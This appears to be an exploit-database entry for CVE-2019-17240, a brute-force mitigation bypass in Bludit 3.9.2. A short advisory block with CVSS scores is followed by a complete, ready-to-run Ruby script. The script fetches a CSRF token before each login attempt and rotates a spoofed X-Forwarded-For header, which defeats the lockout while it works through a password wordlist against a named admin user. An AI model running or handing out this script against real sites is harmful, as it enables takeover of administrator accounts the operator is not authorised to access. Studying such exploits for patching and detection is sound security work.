Bludit 3.9.2 Authentication Bruteforce Mitigation Bypass

2020.08.17
Risk: High
Local: No
Remote: Yes
CWE: CWE-307


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

#!/usr/bin/env ruby ## Title: Bludit 3.9.2 - Authentication Bruteforce Mitigation Bypass ## Author: noraj (Alexandre ZANNI) ## Author website: https://pwn.by/noraj/ ## Date: 2020-08-16 ## Vendor Homepage: https://www.bludit.com/ ## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz ## Version: <= 3.9.2 ## Tested on: Bludit Version 3.9.2 # Vulnerability ## Discoverer: Rastating ## Discoverer website: https://rastating.github.io/ ## CVE: CVE-2019-17240 ## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2019-17240 ## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/ ## Patch: https://github.com/bludit/bludit/pull/1090 require 'httpclient' require 'docopt' # dirty workaround to remove this warning: # Cookie#domain returns dot-less domain name now. Use Cookie#dot_domain if you need "." at the beginning. # see https://github.com/nahi/httpclient/issues/252 class WebAgent class Cookie < HTTP::Cookie def domain self.original_domain end end end def get_csrf(client, login_url) res = client.get(login_url) csrf_token = /input.+?name="tokenCSRF".+?value="(.+?)"/.match(res.body).captures[0] end def auth_ok?(res) HTTP::Status.redirect?(res.code) && %r{/admin/dashboard}.match?(res.headers['Location']) end def bruteforce_auth(client, host, username, wordlist) login_url = host + '/admin/login' File.foreach(wordlist).with_index do |password, i| password = password.chomp csrf_token = get_csrf(client, login_url) headers = { 'X-Forwarded-For' => "#{i}-#{password[..4]}", } data = { 'tokenCSRF' => csrf_token, 'username' => username, 'password' => password, } puts "[*] Trying password: #{password}" auth_res = client.post(login_url, data, headers) if auth_ok?(auth_res) puts "\n[+] Password found: #{password}" break end end end doc = <<~DOCOPT Bludit <= 3.9.2 - Authentication Bruteforce Mitigation Bypass Usage: #{__FILE__} -r <url> -u <username> -w <path> [--debug] #{__FILE__} -H | --help Options: -r <url>, --root-url <url> Root URL (base path) including HTTP scheme, port and root folder -u <username>, --user <username> Username of the admin -w <path>, --wordlist <path> Path to the wordlist file --debug Display arguments -H, --help Show this screen Examples: #{__FILE__} -r http://example.org -u admin -w myWordlist.txt #{__FILE__} -r https://example.org:8443/bludit -u john -w /usr/share/wordlists/password/rockyou.txt DOCOPT begin args = Docopt.docopt(doc) pp args if args['--debug'] clnt = HTTPClient.new bruteforce_auth(clnt, args['--root-url'], args['--user'], args['--wordlist']) rescue Docopt::Exit => e puts e.message end


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